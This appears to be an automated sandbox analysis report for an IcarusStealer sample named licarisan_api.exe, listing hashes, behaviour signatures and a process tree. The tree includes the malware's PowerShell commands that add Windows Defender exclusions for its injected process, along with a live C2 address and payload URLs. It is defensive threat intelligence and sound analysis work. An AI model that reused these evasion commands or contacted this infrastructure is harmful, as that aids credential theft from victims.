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Overview

overview

10

Static

static

3

licarisan_api.exe

windows7-x64

10

licarisan_api.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240910-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/10/2024, 14:45

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General

  • Target

    licarisan_api.exe

  • Size

    3.9MB

  • MD5

    65a683124fc4ca1839e95322370e2b0d

  • SHA1

    7a7eafcfa4349e40cb15ab30b5c64d3415e60b96

  • SHA256

    3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f

  • SHA512

    14b6d7d06f1bd02fffa5f0a4aecb8bbb7b1441597d9ac27a888f5ff441fce785809bd675c7ef7b1da7f99a8d61100e030b6c8b7b128515e8d713d4ffec54123f

  • SSDEEP

    49152:bP70hwGvLJT/a9yLe7lAsYaxBjbdOGMneGzxgUgoJUcaqCDx6ITcP2MNoSPhaC+O:nUgoJUBZJoP2MNBajvXOSq

Score
10/10
icarusstealerdiscoveryexecutionpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\licarisan_api.exe
    "C:\Users\Admin\AppData\Local\Temp\licarisan_api.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3404
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1496
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:452
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5008
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4992
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1592
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2516
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3352
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1060
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2204

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    968cb9309758126772781b83adb8a28f

    SHA1

    8da30e71accf186b2ba11da1797cf67f8f78b47c

    SHA256

    92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

    SHA512

    4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    16KB

    MD5

    9d9fdcb8ac036dcc41a4b7cd2c2b304c

    SHA1

    e549591364696179a19d8d9c26e8b7db1ff761d4

    SHA256

    7e8bd536402e06a5a8356c438b51b00c6484b807a34944efa84f7d2e5a5b598a

    SHA512

    2bc84e0c021597d80865b9513e1315843e31ab26f5dac31cd3a580a01c9f48fa2d9232735fb33c45e0dca48f4cd7c87745bf9f6b1632876f4f2900ba79cc41e2

    Download Submit

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133726131264577098.txt
    Filesize

    75KB

    MD5

    2051a80f582061bcb6491f3ab438f33f

    SHA1

    dc83e5614796597c3bdcbdb5ad414ab6d4b21418

    SHA256

    58342714a9cdb8f02c518a252183846e3e0cbd8d2547cb911313275387ac1c83

    SHA512

    f5cfb41d7c3907fe35cf9b6c72bfaab6800d96b06073888c1d902578770bf29b3b1adc4af9d1285cd1fd59f301d45d600627ebe3f979178b20f9bbc7237af325

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vdrs3pz0.31n.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/452-77-0x0000000002F00000-0x0000000002F01000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1496-13-0x00000000034C0000-0x000000000355C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/1496-18-0x0000000074010000-0x00000000747C0000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/1496-8-0x0000000001130000-0x00000000011B2000-memory.dmp

    Filesize

    520KB

    Download

  • memory/1496-17-0x000000007401E000-0x000000007401F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1496-14-0x0000000003560000-0x00000000035F2000-memory.dmp

    Filesize

    584KB

    Download

  • memory/1592-45-0x00000000064D0000-0x000000000651C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/1592-61-0x000000006FA30000-0x000000006FA7C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/1592-189-0x0000000007780000-0x0000000007788000-memory.dmp

    Filesize

    32KB

    Download

  • memory/1592-188-0x0000000007790000-0x00000000077AA000-memory.dmp

    Filesize

    104KB

    Download

  • memory/1592-127-0x00000000076A0000-0x00000000076B4000-memory.dmp

    Filesize

    80KB

    Download

  • memory/1592-78-0x0000000007690000-0x000000000769E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/1592-20-0x0000000002B40000-0x0000000002B76000-memory.dmp

    Filesize

    216KB

    Download

  • memory/1592-21-0x00000000053D0000-0x00000000059F8000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/1592-22-0x0000000005270000-0x0000000005292000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1592-24-0x0000000005A00000-0x0000000005A66000-memory.dmp

    Filesize

    408KB

    Download

  • memory/1592-23-0x0000000005310000-0x0000000005376000-memory.dmp

    Filesize

    408KB

    Download

  • memory/1592-75-0x0000000007660000-0x0000000007671000-memory.dmp

    Filesize

    68KB

    Download

  • memory/1592-39-0x0000000005AF0000-0x0000000005E44000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/1592-44-0x0000000006110000-0x000000000612E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/1592-74-0x00000000076D0000-0x0000000007766000-memory.dmp

    Filesize

    600KB

    Download

  • memory/1592-73-0x00000000074E0000-0x00000000074EA000-memory.dmp

    Filesize

    40KB

    Download

  • memory/2204-81-0x000001ED71500000-0x000001ED71600000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/2204-84-0x000001ED72BB0000-0x000001ED72BD0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/2204-80-0x000001ED71500000-0x000001ED71600000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/2204-88-0x000001ED72B70000-0x000001ED72B90000-memory.dmp

    Filesize

    128KB

    Download

  • memory/2204-96-0x000001F574380000-0x000001F5743A0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/3352-48-0x0000000006D40000-0x0000000006D72000-memory.dmp

    Filesize

    200KB

    Download

  • memory/3352-60-0x0000000006E50000-0x0000000006EF3000-memory.dmp

    Filesize

    652KB

    Download

  • memory/3352-49-0x000000006FA30000-0x000000006FA7C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/3352-71-0x0000000007580000-0x0000000007BFA000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/3352-72-0x0000000006E20000-0x0000000006E3A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/3352-59-0x0000000006D80000-0x0000000006D9E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/3404-9-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/3404-4-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/3404-7-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/3404-6-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/3404-0-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/3404-47-0x0000000000420000-0x0000000000438000-memory.dmp

    Filesize

    96KB

    Download

  • memory/3404-12-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/3404-5-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/3404-1-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/3404-2-0x0000000000420000-0x0000000000438000-memory.dmp

    Filesize

    96KB

    Download

  • memory/5008-19-0x0000000005D60000-0x0000000006304000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/5008-15-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

    Download